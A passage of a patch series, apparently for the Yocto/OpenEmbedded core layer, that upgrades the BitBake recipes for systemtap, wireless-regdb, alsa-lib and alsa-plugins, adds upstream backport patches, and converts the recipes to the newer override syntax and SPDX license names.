+PACKAGECONFIG ??= "translator sqlite monitor python3-probes ${@bb.utils.filter('DISTRO_FEATURES', 'debuginfod', d)}"
+PACKAGECONFIG[translator] = "--enable-translator,--disable-translator,boost,bash"
PACKAGECONFIG[libvirt] = "--enable-libvirt,--disable-libvirt,libvirt"
PACKAGECONFIG[sqlite] = "--enable-sqlite,--disable-sqlite,sqlite3"
PACKAGECONFIG[monitor] = "--enable-monitor,--disable-monitor,ncurses json-c"
PACKAGECONFIG[python3-probes] = "--with-python3-probes,--without-python3-probes,python3-setuptools-native"
+PACKAGECONFIG[debuginfod] = "--with-debuginfod, --without-debuginfod"
-inherit autotools gettext pkgconfig distutils3-base systemd
+inherit autotools gettext pkgconfig systemd
+inherit_defer ${@bb.utils.contains('PACKAGECONFIG', 'python3-probes', 'setuptools3-base', '', d)}
-PACKAGES =+ "${PN}-exporter"
+# | ../git/elaborate.cxx:2601:21: error: storing the address of local variable 'sym' in '*s.systemtap_session::symbol_resolver' [-Werror=dangling-pointer=]
+CXXFLAGS += "-Wno-dangling-pointer"
-FILES_${PN}-exporter = "${sysconfdir}/stap-exporter/* \
+# exporter comes with python3-probes
+PACKAGES =+ "${PN}-exporter"
+FILES:${PN}-exporter = "${sysconfdir}/stap-exporter/* \
${sysconfdir}/sysconfig/stap-exporter \
- ${systemd_unitdir}/system/stap-exporter.service \
+ ${systemd_system_unitdir}/stap-exporter.service \
${sbindir}/stap-exporter"
-
-RDEPENDS_${PN}-exporter = "${PN} python3-core python3-netclient"
-
-SYSTEMD_SERVICE_${PN}-exporter = "stap-exporter.service"
-
-do_configure_prepend () {
+RDEPENDS:${PN}-exporter = "${PN} python3-core python3-netclient"
+SYSTEMD_SERVICE:${PN}-exporter = "stap-exporter.service"
+
+PACKAGES =+ "${PN}-runtime"
+FILES:${PN}-runtime = "\
+ ${bindir}/staprun \
+ ${bindir}/stap-merge \
+ ${bindir}/stapsh \
+ ${libexecdir}/${BPN}/stapio \
+"
+RDEPENDS:${PN}:class-target += "${PN}-runtime"
+
+PACKAGES =+ "${PN}-examples"
+FILES:${PN}-examples = "${datadir}/${BPN}/examples/"
+RDEPENDS:${PN}-examples += "${PN}"
+
+# don't complain that some examples involve bash, perl, php...
+INSANE_SKIP:${PN}-examples += "file-rdeps"
+
+PACKAGES =+ "${PN}-python"
+FILES:${PN}-python += "\
+ ${bindir}/dtrace \
+ ${libdir}/python*/ \
+ ${libexecdir}/${BPN}/python/ \
+"
+# python material requires sdt headers
+RDEPENDS:${PN}-python += "${PN}-dev python3-core"
+INSANE_SKIP:${PN}-python += "dev-deps"
+
+do_configure:prepend () {
# Improve reproducibility for c++ object files
reltivepath="${@os.path.relpath(d.getVar('STAGING_INCDIR'), d.getVar('S'))}"
sed -i "s:@RELATIVE_STAGING_INCDIR@:$reltivepath:g" ${S}/stringtable.h
}
-do_install_append () {
+do_install:append () {
if [ ! -f ${D}${bindir}/stap ]; then
# translator disabled case, need to leave only minimal runtime
rm -rf ${D}${datadir}/${PN}
rm ${D}${libexecdir}/${PN}/stap-env
fi
- if [ ${D}${prefix}/lib != `dirname ${D}${systemd_unitdir}` ]; then
+ if [ -d ${D}${prefix}/lib/systemd -a ${D}${prefix}/lib != `dirname ${D}${systemd_unitdir}` ]; then
# Fix makefile hardcoded path assumptions for systemd (assumes $prefix)
# without usrmerge distro feature enabled
install -d `dirname ${D}${systemd_unitdir}`
@@ -60,7 +95,9 @@ do_install_append () {
fi
# Ensure correct ownership for files copied in
- chown root:root ${D}${sysconfdir}/stap-exporter/* -R
+ if [ -d ${D}${sysconfdir}/stap-exporter ]; then
+ chown root:root ${D}${sysconfdir}/stap-exporter/* -R
+ fi
}
BBCLASSEXTEND = "nativesdk"
diff --git a/meta/recipes-kernel/systemtap/systemtap_git.inc b/meta/recipes-kernel/systemtap/systemtap_git.inc
index 56fa51d61e..c574bcb2ba 100644
--- a/meta/recipes-kernel/systemtap/systemtap_git.inc
+++ b/meta/recipes-kernel/systemtap/systemtap_git.inc
@@ -1,16 +1,21 @@
-LICENSE = "GPLv2"
+LICENSE = "GPL-2.0-only"
LIC_FILES_CHKSUM = "file://COPYING;md5=b234ee4d69f5fce4486a80fdaf4a4263"
-SRCREV = "82b8e1a07a31bf37ed05d6ebc5162b054c0be9fd"
-PV = "4.3"
+SRCREV = "e72dc118e563c645d93a1a2d771e8d90e8fec1ae"
+PV = "5.0"
-SRC_URI = "git://sourceware.org/git/systemtap.git \
+SRC_URI = "git://sourceware.org/git/systemtap.git;branch=master;protocol=https \
file://0001-Do-not-let-configure-write-a-python-location-into-th.patch \
file://0001-Install-python-modules-to-correct-library-dir.patch \
file://0001-staprun-stapbpf-don-t-support-installing-a-non-root.patch \
+ file://0001-Makefile.am-remove-runtime-linux-uprobes-and-runtime.patch \
+ file://0001-prerelease-datestamp-fixes.patch \
+ file://0001-configure.ac-fix-broken-libdebuginfod-library-auto-d.patch \
+ file://0001-bpf-translate.cxx-fix-build-against-upcoming-gcc-14-.patch \
+ file://0001-staprun-fix-build-against-upcoming-gcc-14-Werror-cal.patch \
"
-COMPATIBLE_HOST = '(x86_64|i.86|powerpc|arm|aarch64|microblazeel|mips).*-linux'
-COMPATIBLE_HOST_libc-musl = 'null'
+COMPATIBLE_HOST = '(x86_64|i.86|powerpc|arm|aarch64|microblazeel|mips|riscv64).*-linux'
+COMPATIBLE_HOST:libc-musl = 'null'
S = "${WORKDIR}/git"
diff --git a/meta/recipes-kernel/wireless-regdb/wireless-regdb_2020.04.29.bb b/meta/recipes-kernel/wireless-regdb/wireless-regdb_2020.04.29.bb
deleted file mode 100644
index a5827b9ef0..0000000000
--- a/meta/recipes-kernel/wireless-regdb/wireless-regdb_2020.04.29.bb
+++ /dev/null
@@ -1,43 +0,0 @@
-SUMMARY = "Wireless Central Regulatory Domain Database"
-HOMEPAGE = "http://wireless.kernel.org/en/developers/Regulatory/CRDA"
-SECTION = "net"
-LICENSE = "ISC"
-LIC_FILES_CHKSUM = "file://LICENSE;md5=07c4f6dea3845b02a18dc00c8c87699c"
-
-SRC_URI = "https://www.kernel.org/pub/software/network/${BPN}/${BP}.tar.xz"
-SRC_URI[sha256sum] = "89fd031aed5977c219a71501e144375a10e7c90d1005d5d086ea7972886a2c7a"
-
-inherit bin_package allarch
-
-do_install() {
- install -d -m0755 ${D}${nonarch_libdir}/crda
- install -d -m0755 ${D}${sysconfdir}/wireless-regdb/pubkeys
- install -m 0644 regulatory.bin ${D}${nonarch_libdir}/crda/regulatory.bin
- install -m 0644 sforshee.key.pub.pem ${D}${sysconfdir}/wireless-regdb/pubkeys/sforshee.key.pub.pem
-
- install -m 0644 -D regulatory.db ${D}${nonarch_base_libdir}/firmware/regulatory.db
- install -m 0644 regulatory.db.p7s ${D}${nonarch_base_libdir}/firmware/regulatory.db.p7s
-}
-
-# Install static regulatory DB in /lib/firmware for kernel to load.
-# This requires Linux kernel >= v4.15.
-# For kernel <= v4.14, inherit the kernel_wireless_regdb.bbclass
-# (in meta-networking) in kernel's recipe.
-PACKAGES = "${PN}-static ${PN}"
-RCONFLICTS_${PN} = "${PN}-static"
-
-FILES_${PN}-static = " \
- ${nonarch_base_libdir}/firmware/regulatory.db \
- ${nonarch_base_libdir}/firmware/regulatory.db.p7s \
-"
-
-# Native users might want to use the source of regulatory DB.
-# This is for example used by Linux kernel <= v4.14 and
-# kernel_wireless_regdb.bbclass in meta-networking.
-do_install_append_class-native() {
- install -m 0644 -D db.txt ${D}${libdir}/crda/db.txt
-}
-
-RSUGGESTS_${PN} = "crda"
-
-BBCLASSEXTEND = "native"
diff --git a/meta/recipes-kernel/wireless-regdb/wireless-regdb_2024.01.23.bb b/meta/recipes-kernel/wireless-regdb/wireless-regdb_2024.01.23.bb
new file mode 100644
index 0000000000..8fde236ab4
--- /dev/null
+++ b/meta/recipes-kernel/wireless-regdb/wireless-regdb_2024.01.23.bb
@@ -0,0 +1,43 @@
+SUMMARY = "Wireless Central Regulatory Domain Database"
+HOMEPAGE = "https://wireless.wiki.kernel.org/en/developers/regulatory/crda"
+SECTION = "net"
+LICENSE = "ISC"
+LIC_FILES_CHKSUM = "file://LICENSE;md5=07c4f6dea3845b02a18dc00c8c87699c"
+
+SRC_URI = "https://www.kernel.org/pub/software/network/${BPN}/${BP}.tar.xz"
+SRC_URI[sha256sum] = "c8a61c9acf76fa7eb4239e89f640dee3e87098d9f69b4d3518c9c60fc6d20c55"
+
+inherit bin_package allarch
+
+do_install() {
+ install -d -m0755 ${D}${nonarch_libdir}/crda
+ install -d -m0755 ${D}${sysconfdir}/wireless-regdb/pubkeys
+ install -m 0644 regulatory.bin ${D}${nonarch_libdir}/crda/regulatory.bin
+ install -m 0644 wens.key.pub.pem ${D}${sysconfdir}/wireless-regdb/pubkeys/wens.key.pub.pem
+
+ install -m 0644 -D regulatory.db ${D}${nonarch_base_libdir}/firmware/regulatory.db
+ install -m 0644 regulatory.db.p7s ${D}${nonarch_base_libdir}/firmware/regulatory.db.p7s
+}
+
+# Install static regulatory DB in /lib/firmware for kernel to load.
+# This requires Linux kernel >= v4.15.
+# For kernel <= v4.14, inherit the kernel_wireless_regdb.bbclass
+# (in meta-networking) in kernel's recipe.
+PACKAGES = "${PN}-static ${PN}"
+RCONFLICTS:${PN} = "${PN}-static"
+
+FILES:${PN}-static = " \
+ ${nonarch_base_libdir}/firmware/regulatory.db \
+ ${nonarch_base_libdir}/firmware/regulatory.db.p7s \
+"
+
+# Native users might want to use the source of regulatory DB.
+# This is for example used by Linux kernel <= v4.14 and
+# kernel_wireless_regdb.bbclass in meta-networking.
+do_install:append:class-native() {
+ install -m 0644 -D db.txt ${D}${libdir}/crda/db.txt
+}
+
+RSUGGESTS:${PN} = "crda"
+
+BBCLASSEXTEND = "native"
diff --git a/meta/recipes-multimedia/alsa/alsa-lib/0001-topology-correct-version-script-path.patch b/meta/recipes-multimedia/alsa/alsa-lib/0001-topology-correct-version-script-path.patch
new file mode 100644
index 0000000000..30aeef5817
--- /dev/null
+++ b/meta/recipes-multimedia/alsa/alsa-lib/0001-topology-correct-version-script-path.patch
@@ -0,0 +1,38 @@
+From 2a736a0d2543f206fd2653aaae8a08a4c42eb917 Mon Sep 17 00:00:00 2001
+From: Michael Opdenacker <michael.opdenacker@bootlin.com>
+Date: Tue, 30 Jan 2024 14:24:25 +0100
+Subject: [PATCH] topology: correct version script path
+
+From: Jan Palus <jpalus@fastmail.com>
+
+contrary to libasound, version script for libatopology is a regular
+source file. while it's often the case that $(builddir) and $(srcdir)
+point to the same directory, they don't always have to. therefore path
+needs to point explicitly to $(srcdir) for Versions script in topology
+
+Closes: https://github.com/alsa-project/alsa-lib/pull/383
+Fixes: GH-382
+Fixes: dc7da761f3a2 ("topology: separate Versions linker script")
+Signed-off-by: Jan Palus <jpalus@fastmail.com>
+Signed-off-by: Jaroslav Kysela <perex@perex.cz>
+Upstream-Status: Backport [https://git.alsa-project.org/?p=alsa-lib.git;a=commitdiff;h=2a736a0d2543f206fd2653aaae8a08a4c42eb917]
+---
+ src/topology/Makefile.am | 2 +-
+ 1 file changed, 1 insertion(+), 1 deletion(-)
+
+diff --git a/src/topology/Makefile.am b/src/topology/Makefile.am
+index 04299588..e0b78373 100644
+--- a/src/topology/Makefile.am
++++ b/src/topology/Makefile.am
+@@ -2,7 +2,7 @@ EXTRA_DIST = Versions
+ COMPATNUM=@LIBTOOL_VERSION_INFO@
+
+ if VERSIONED_SYMBOLS
+-VSYMS = -Wl,--version-script=Versions
++VSYMS = -Wl,--version-script=$(srcdir)/Versions
+ else
+ VSYMS =
+ endif
+--
+2.34.1
+
diff --git a/meta/recipes-multimedia/alsa/alsa-lib_1.2.11.bb b/meta/recipes-multimedia/alsa/alsa-lib_1.2.11.bb
new file mode 100644
index 0000000000..c212b17aa3
--- /dev/null
+++ b/meta/recipes-multimedia/alsa/alsa-lib_1.2.11.bb
@@ -0,0 +1,46 @@
+SUMMARY = "ALSA sound library"
+DESCRIPTION = "(Occasionally a.k.a. libasound) is a userspace library that \
+provides a level of abstraction over the /dev interfaces provided by the kernel modules."
+HOMEPAGE = "http://www.alsa-project.org"
+BUGTRACKER = "http://alsa-project.org/main/index.php/Bug_Tracking"
+SECTION = "libs/multimedia"
+LICENSE = "LGPL-2.1-only & GPL-2.0-or-later"
+LIC_FILES_CHKSUM = "file://COPYING;md5=a916467b91076e631dd8edb7424769c7 \
+ file://src/socket.c;md5=285675b45e83f571c6a957fe4ab79c93;beginline=9;endline=24 \
+ "
+
+SRC_URI = "https://www.alsa-project.org/files/pub/lib/${BP}.tar.bz2 \
+ file://0001-topology-correct-version-script-path.patch \
+ "
+SRC_URI[sha256sum] = "9f3f2f69b995f9ad37359072fbc69a3a88bfba081fc83e9be30e14662795bb4d"
+
+inherit autotools pkgconfig
+
+EXTRA_OECONF += " \
+ ${@bb.utils.contains('TARGET_FPU', 'soft', '--with-softfloat', '', d)} \
+ --disable-python --disable-old-symbols \
+"
+
+PACKAGES =+ "alsa-server alsa-conf libatopology"
+
+FILES:alsa-server = "${bindir}/*"
+FILES:alsa-conf = "${datadir}/alsa/"
+FILES:libatopology = "${libdir}/libatopology.so.*"
+
+RDEPENDS:${PN}:class-target = "alsa-conf alsa-ucm-conf"
+RDEPENDS:libatopology:class-target = "alsa-topology-conf"
+
+# upgrade path
+RPROVIDES:${PN} = "libasound"
+RREPLACES:${PN} = "libasound"
+RCONFLICTS:${PN} = "libasound"
+
+RPROVIDES:${PN}-dev = "alsa-dev"
+RREPLACES:${PN}-dev = "alsa-dev"
+RCONFLICTS:${PN}-dev = "alsa-dev"
+
+RPROVIDES:alsa-conf = "alsa-conf-base"
+RREPLACES:alsa-conf = "alsa-conf-base"
+RCONFLICTS:alsa-conf = "alsa-conf-base"
+
+BBCLASSEXTEND = "native nativesdk"
diff --git a/meta/recipes-multimedia/alsa/alsa-lib_1.2.3.2.bb b/meta/recipes-multimedia/alsa/alsa-lib_1.2.3.2.bb
deleted file mode 100644
index 1ed1a7b9a3..0000000000
--- a/meta/recipes-multimedia/alsa/alsa-lib_1.2.3.2.bb
+++ /dev/null
@@ -1,42 +0,0 @@
-SUMMARY = "ALSA sound library"
-HOMEPAGE = "http://www.alsa-project.org"
-BUGTRACKER = "http://alsa-project.org/main/index.php/Bug_Tracking"
-SECTION = "libs/multimedia"
-LICENSE = "LGPLv2.1 & GPLv2+"
-LIC_FILES_CHKSUM = "file://COPYING;md5=a916467b91076e631dd8edb7424769c7 \
- file://src/socket.c;md5=285675b45e83f571c6a957fe4ab79c93;beginline=9;endline=24 \
- "
-
-SRC_URI = "https://www.alsa-project.org/files/pub/lib/${BP}.tar.bz2"
-SRC_URI[sha256sum] = "e81fc5b7afcaee8c9fd7f64a1e3043e88d62e9ad2c4cff55f578df6b0a9abe15"
-
-inherit autotools pkgconfig
-
-EXTRA_OECONF += " \
- ${@bb.utils.contains('TARGET_FPU', 'soft', '--with-softfloat', '', d)} \
- --disable-python \
-"
-
-PACKAGES =+ "alsa-server alsa-conf libatopology"
-
-FILES_alsa-server = "${bindir}/*"
-FILES_alsa-conf = "${datadir}/alsa/"
-FILES_libatopology = "${libdir}/libatopology.so.*"
-
-RDEPENDS_${PN}_class-target = "alsa-conf alsa-ucm-conf"
-RDEPENDS_libatopology_class-target = "alsa-topology-conf"
-
-# upgrade path
-RPROVIDES_${PN} = "libasound"
-RREPLACES_${PN} = "libasound"
-RCONFLICTS_${PN} = "libasound"
-
-RPROVIDES_${PN}-dev = "alsa-dev"
-RREPLACES_${PN}-dev = "alsa-dev"
-RCONFLICTS_${PN}-dev = "alsa-dev"
-
-RPROVIDES_alsa-conf = "alsa-conf-base"
-RREPLACES_alsa-conf = "alsa-conf-base"
-RCONFLICTS_alsa-conf = "alsa-conf-base"
-
-BBCLASSEXTEND = "native nativesdk"
diff --git a/meta/recipes-multimedia/alsa/alsa-plugins/0001-arcam_av.c-Include-missing-string.h.patch b/meta/recipes-multimedia/alsa/alsa-plugins/0001-arcam_av.c-Include-missing-string.h.patch
new file mode 100644
index 0000000000..ff7745d637
--- /dev/null
+++ b/meta/recipes-multimedia/alsa/alsa-plugins/0001-arcam_av.c-Include-missing-string.h.patch
@@ -0,0 +1,25 @@
+From b01b176a665ba65979d74922955f51dc4888a713 Mon Sep 17 00:00:00 2001
+From: Khem Raj <raj.khem@gmail.com>
+Date: Tue, 23 Aug 2022 15:21:16 -0700
+Subject: [PATCH] arcam_av.c: Include missing string.h
+
+bzero() function needs this header to be included
+
+Upstream-Status: Submitted [https://github.com/alsa-project/alsa-plugins/pull/47]
+Signed-off-by: Khem Raj <raj.khem@gmail.com>
+---
+ arcam-av/arcam_av.c | 1 +
+ 1 file changed, 1 insertion(+)
+
+diff --git a/arcam-av/arcam_av.c b/arcam-av/arcam_av.c
+index 63f9b4e..29fc537 100644
+--- a/arcam-av/arcam_av.c
++++ b/arcam-av/arcam_av.c
+@@ -27,6 +27,7 @@
+ #include <signal.h>
+ #include <stddef.h>
+ #include <stdio.h>
++#include <string.h>
+ #include <termios.h>
+ #include <unistd.h>
+
diff --git a/meta/recipes-multimedia/alsa/alsa-plugins_1.2.2.bb b/meta/recipes-multimedia/alsa/alsa-plugins_1.2.2.bb
deleted file mode 100644
index 52dee30126..0000000000
--- a/meta/recipes-multimedia/alsa/alsa-plugins_1.2.2.bb
+++ /dev/null
@@ -1,172 +0,0 @@
-SUMMARY = "ALSA Plugins"
-HOMEPAGE = "http://alsa-project.org"
-BUGTRACKER = "http://alsa-project.org/main/index.php/Bug_Tracking"
-SECTION = "multimedia"
-
-# The primary license of alsa-plugins is LGPLv2.1.
-#
-# m4/attributes.m4 is licensed under GPLv2+. m4/attributes.m4 is part of the
-# build system, and doesn't affect the licensing of the build result.
-#
-# The samplerate plugin source code is licensed under GPLv2+ to be consistent
-# with the libsamplerate license. However, if the licensee has a commercial
-# license for libsamplerate, the samplerate plugin may be used under the terms
-# of LGPLv2.1 like the rest of the plugins.
-LICENSE = "LGPLv2.1 & GPLv2+"
-LIC_FILES_CHKSUM = "file://COPYING;md5=a916467b91076e631dd8edb7424769c7 \
- file://COPYING.GPL;md5=59530bdf33659b29e73d4adb9f9f6552 \
- file://m4/attributes.m4;endline=33;md5=bb8c6b2a67ac15156961e242fec33e50 \
- file://rate/rate_samplerate.c;endline=35;md5=fd77bce85f4a338c0e8ab18430b69fae \
- "
-
-SRC_URI = "https://www.alsa-project.org/files/pub/plugins/${BP}.tar.bz2"
-SRC_URI[md5sum] = "8455e3c6fbc47f62f070afabc14ba575"
-SRC_URI[sha256sum] = "1c0f06450c928d711719686c9dbece2d480184f36fab11b8f0534cb7b41e337d"
-
-DEPENDS += "alsa-lib"
-
-inherit autotools pkgconfig
-
-PACKAGECONFIG ??= "\
- samplerate \
- speexdsp \
- ${@bb.utils.filter('DISTRO_FEATURES', 'pulseaudio', d)} \
-"
-PACKAGECONFIG[aaf] = "--enable-aaf,--disable-aaf,avtp"
-PACKAGECONFIG[jack] = "--enable-jack,--disable-jack,jack"
-PACKAGECONFIG[libav] = "--enable-libav,--disable-libav,libav"
-PACKAGECONFIG[maemo-plugin] = "--enable-maemo-plugin,--disable-maemo-plugin"
-PACKAGECONFIG[maemo-resource-manager] = "--enable-maemo-resource-manager,--disable-maemo-resource-manager,dbus"
-PACKAGECONFIG[pulseaudio] = "--enable-pulseaudio,--disable-pulseaudio,pulseaudio"
-PACKAGECONFIG[samplerate] = "--enable-samplerate,--disable-samplerate,libsamplerate0"
-PACKAGECONFIG[speexdsp] = "--with-speex=lib,--with-speex=no,speexdsp"
-
-PACKAGES += "${@bb.utils.contains('PACKAGECONFIG', 'pulseaudio', 'alsa-plugins-pulseaudio-conf', '', d)}"
-
-PACKAGES_DYNAMIC = "^libasound-module-.*"
-
-# The alsa-plugins package doesn't itself contain anything, it just depends on
-# all built plugins.
-FILES_${PN} = ""
-ALLOW_EMPTY_${PN} = "1"
-
-do_install_append() {
- rm ${D}${libdir}/alsa-lib/*.la
-
- if [ "${@bb.utils.contains('PACKAGECONFIG', 'pulseaudio', 'yes', 'no', d)}" = "yes" ]; then
- # We use the example as is. Upstream installs the file under
- # /etc, but we move it under /usr/share and add a symlink under
- # /etc to be consistent with other installed configuration
- # files.
- mv ${D}${sysconfdir}/alsa/conf.d/99-pulseaudio-default.conf.example ${D}${datadir}/alsa/alsa.conf.d/99-pulseaudio-default.conf
- ln -s ${datadir}/alsa/alsa.conf.d/99-pulseaudio-default.conf ${D}${sysconfdir}/alsa/conf.d/99-pulseaudio-default.conf
- fi
-}
-
-python populate_packages_prepend() {
- plugindir = d.expand('${libdir}/alsa-lib/')
- packages = " ".join(do_split_packages(d, plugindir, r'^libasound_module_(.*)\.so$', 'libasound-module-%s', 'Alsa plugin for %s', extra_depends=''))
- d.setVar("RDEPENDS_alsa-plugins", packages)
-}
-
-# Many plugins have a configuration file (plus a symlink in /etc) associated
-# with them. We put the plugin and it's configuration usually in the same
-# package, but that's problematic when the configuration file is related to
-# multiple plugins, as is the case with the pulse, oss and maemo plugins. In
-# case of the pulse plugins, we have a separate alsa-plugins-pulseaudio-conf
-# package that depends on all the pulse plugins, which ensures that all plugins
-# that the configuration references are installed. The oss and maemo
-# configuration files, on the other hand, are in the respective pcm plugin
-# packages. Therefore it's possible to install the configuration file without
-# the ctl plugin that the configuration file references. This is unlikely to
-# cause big problems, but some kind of improvement to the packaging could
-# probably be done here (at least it would be good to handle the different
-# plugins in a consistent way).
-FILES_${MLPREFIX}libasound-module-ctl-arcam-av += "\
- ${datadir}/alsa/alsa.conf.d/50-arcam-av-ctl.conf \
- ${sysconfdir}/alsa/conf.d/50-arcam-av-ctl.conf \
-"
-FILES_${MLPREFIX}libasound-module-pcm-a52 += "\
- ${datadir}/alsa/alsa.conf.d/60-a52-encoder.conf \
- ${sysconfdir}/alsa/conf.d/60-a52-encoder.conf \
-"
-FILES_${MLPREFIX}libasound-module-pcm-alsa-dsp += "\
- ${datadir}/alsa/alsa.conf.d/98-maemo.conf \
- ${sysconfdir}/alsa/conf.d/98-maemo.conf \
-"
-FILES_${MLPREFIX}libasound-module-pcm-jack += "\
- ${datadir}/alsa/alsa.conf.d/50-jack.conf \
- ${sysconfdir}/alsa/conf.d/50-jack.conf \
-"
-FILES_${MLPREFIX}libasound-module-pcm-oss += "\
- ${datadir}/alsa/alsa.conf.d/50-oss.conf \
- ${sysconfdir}/alsa/conf.d/50-oss.conf \
-"
-FILES_${MLPREFIX}libasound-module-pcm-speex += "\
- ${datadir}/alsa/alsa.conf.d/60-speex.conf \
- ${sysconfdir}/alsa/conf.d/60-speex.conf \
-"
-FILES_${MLPREFIX}libasound-module-pcm-upmix += "\
- ${datadir}/alsa/alsa.conf.d/60-upmix.conf \
- ${sysconfdir}/alsa/conf.d/60-upmix.conf \
-"
-FILES_${MLPREFIX}libasound-module-pcm-usb-stream += "\
- ${datadir}/alsa/alsa.conf.d/98-usb-stream.conf \
- ${sysconfdir}/alsa/conf.d/98-usb-stream.conf \
-"
-FILES_${MLPREFIX}libasound-module-pcm-vdownmix += "\
- ${datadir}/alsa/alsa.conf.d/60-vdownmix.conf \
- ${sysconfdir}/alsa/conf.d/60-vdownmix.conf \
-"
-FILES_${MLPREFIX}libasound-module-rate-lavrate += "\
- ${datadir}/alsa/alsa.conf.d/10-rate-lav.conf \
- ${sysconfdir}/alsa/conf.d/10-rate-lav.conf \
-"
-FILES_${MLPREFIX}libasound-module-rate-samplerate += "\
- ${datadir}/alsa/alsa.conf.d/10-samplerate.conf \
- ${sysconfdir}/alsa/conf.d/10-samplerate.conf \
-"
-FILES_${MLPREFIX}libasound-module-rate-speexrate += "\
- ${datadir}/alsa/alsa.conf.d/10-speexrate.conf \
- ${sysconfdir}/alsa/conf.d/10-speexrate.conf \
-"
-
-# The rate plugins create some symlinks. For example, the samplerate plugin
-# creates these links to the main plugin file:
-#
-# libasound_module_rate_samplerate_best.so
-# libasound_module_rate_samplerate_linear.so
-# libasound_module_rate_samplerate_medium.so
-# libasound_module_rate_samplerate_order.so
-#
-# The other rate plugins create similar links. We have to add the links to
-# FILES manually, because do_split_packages() skips the links (which is good,
-# because we wouldn't want do_split_packages() to create separate packages for
-# the symlinks).
-#
-# The symlinks cause QA errors, because usually it's a bug if a non
-# -dev/-dbg/-nativesdk package contains links to .so files, but in this case
-# the errors are false positives, so we disable the QA checks.
-FILES_${MLPREFIX}libasound-module-rate-lavrate += "${libdir}/alsa-lib/*rate_lavrate_*.so"
-FILES_${MLPREFIX}libasound-module-rate-samplerate += "${libdir}/alsa-lib/*rate_samplerate_*.so"
-FILES_${MLPREFIX}libasound-module-rate-speexrate += "${libdir}/alsa-lib/*rate_speexrate_*.so"
-INSANE_SKIP_${MLPREFIX}libasound-module-rate-lavrate = "dev-so"
-INSANE_SKIP_${MLPREFIX}libasound-module-rate-samplerate = "dev-so"
-INSANE_SKIP_${MLPREFIX}libasound-module-rate-speexrate = "dev-so"
-
-# 50-pulseaudio.conf defines a device named "pulse" that applications can use
-# if they explicitly want to use the PulseAudio plugin.
-# 99-pulseaudio-default.conf configures the "default" device to use the
-# PulseAudio plugin.
-FILES_${PN}-pulseaudio-conf += "\
- ${datadir}/alsa/alsa.conf.d/50-pulseaudio.conf \
- ${datadir}/alsa/alsa.conf.d/99-pulseaudio-default.conf \
- ${sysconfdir}/alsa/conf.d/50-pulseaudio.conf \
- ${sysconfdir}/alsa/conf.d/99-pulseaudio-default.conf \
-"
-
-RDEPENDS_${PN}-pulseaudio-conf += "\
- ${MLPREFIX}libasound-module-conf-pulse \
- ${MLPREFIX}libasound-module-ctl-pulse \
- ${MLPREFIX}libasound-module-pcm-pulse \
-"
diff --git a/meta/recipes-multimedia/alsa/alsa-plugins_1.2.7.1.bb b/meta/recipes-multimedia/alsa/alsa-plugins_1.2.7.1.bb
new file mode 100644
index 0000000000..9500462d5c
--- /dev/null
+++ b/meta/recipes-multimedia/alsa/alsa-plugins_1.2.7.1.bb
@@ -0,0 +1,176 @@
+SUMMARY = "ALSA Plugins"
+DESCRIPTION = "Used to create virtual devices that can be used like normal \
+hardware devices but cause extra processing of the sound stream to take place. \
+They are used while configuring ALSA in the .asoundrc file."
+HOMEPAGE = "http://alsa-project.org"
+BUGTRACKER = "http://alsa-project.org/main/index.php/Bug_Tracking"
+SECTION = "multimedia"
+
+# The primary license of alsa-plugins is LGPL-2.1-only.
+#
+# m4/attributes.m4 is licensed under GPL-2.0-or-later. m4/attributes.m4 is part
+# of the build system, and doesn't affect the licensing of the build result.
+#
+# The samplerate plugin source code is licensed under GPL-2.0-or-later to be
+# consistent with the libsamplerate license. However, if the licensee has a
+# commercial license for libsamplerate, the samplerate plugin may be used under
+# the terms of LGPL-2.1-only like the rest of the plugins.
+LICENSE = "LGPL-2.1-only & GPL-2.0-or-later"
+LIC_FILES_CHKSUM = "file://COPYING;md5=a916467b91076e631dd8edb7424769c7 \
+ file://COPYING.GPL;md5=59530bdf33659b29e73d4adb9f9f6552 \
+ file://m4/attributes.m4;endline=33;md5=bb8c6b2a67ac15156961e242fec33e50 \
+ file://rate/rate_samplerate.c;endline=35;md5=fd77bce85f4a338c0e8ab18430b69fae \
+ "
+
+SRC_URI = "https://www.alsa-project.org/files/pub/plugins/${BP}.tar.bz2 \
+ file://0001-arcam_av.c-Include-missing-string.h.patch \
+ "
+SRC_URI[sha256sum] = "8c337814954bb7c167456733a6046142a2931f12eccba3ec2a4ae618a3432511"
+
+DEPENDS += "alsa-lib"
+
+inherit autotools pkgconfig
+
+PACKAGECONFIG ??= "\
+ samplerate \
+ speexdsp \
+ ${@bb.utils.filter('DISTRO_FEATURES', 'pulseaudio', d)} \
+"
+PACKAGECONFIG[aaf] = "--enable-aaf,--disable-aaf,libavtp"
+PACKAGECONFIG[jack] = "--enable-jack,--disable-jack,jack"
+PACKAGECONFIG[libav] = "--enable-libav,--disable-libav,libav"
+PACKAGECONFIG[maemo-plugin] = "--enable-maemo-plugin,--disable-maemo-plugin"
+PACKAGECONFIG[maemo-resource-manager] = "--enable-maemo-resource-manager,--disable-maemo-resource-manager,dbus"
+PACKAGECONFIG[pulseaudio] = "--enable-pulseaudio,--disable-pulseaudio,pulseaudio"
+PACKAGECONFIG[samplerate] = "--enable-samplerate,--disable-samplerate,libsamplerate0"
+PACKAGECONFIG[speexdsp] = "--with-speex=lib,--with-speex=no,speexdsp"
+
+PACKAGES += "${@bb.utils.contains('PACKAGECONFIG', 'pulseaudio', 'alsa-plugins-pulseaudio-conf', '', d)}"
+
+PACKAGES_DYNAMIC = "^libasound-module-.*"
+
+# The alsa-plugins package doesn't itself contain anything, it just depends on
+# all built plugins.
+FILES:${PN} = ""
+ALLOW_EMPTY:${PN} = "1"
+
+do_install:append() {
+ rm -f ${D}${libdir}/alsa-lib/*.la
+
+ if [ "${@bb.utils.contains('PACKAGECONFIG', 'pulseaudio', 'yes', 'no', d)}" = "yes" ]; then
+ # We use the example as is. Upstream installs the file under
+ # /etc, but we move it under /usr/share and add a symlink under
+ # /etc to be consistent with other installed configuration
+ # files.
+ mv ${D}${sysconfdir}/alsa/conf.d/99-pulseaudio-default.conf.example ${D}${datadir}/alsa/alsa.conf.d/99-pulseaudio-default.conf
+ ln -s ${datadir}/alsa/alsa.conf.d/99-pulseaudio-default.conf ${D}${sysconfdir}/alsa/conf.d/99-pulseaudio-default.conf
+ fi
+}
+
+python populate_packages:prepend() {
+ plugindir = d.expand('${libdir}/alsa-lib/')
+ packages = " ".join(do_split_packages(d, plugindir, r'^libasound_module_(.*)\.so$', 'libasound-module-%s', 'Alsa plugin for %s', extra_depends=''))
+ d.setVar("RDEPENDS:alsa-plugins", packages)
+}
+
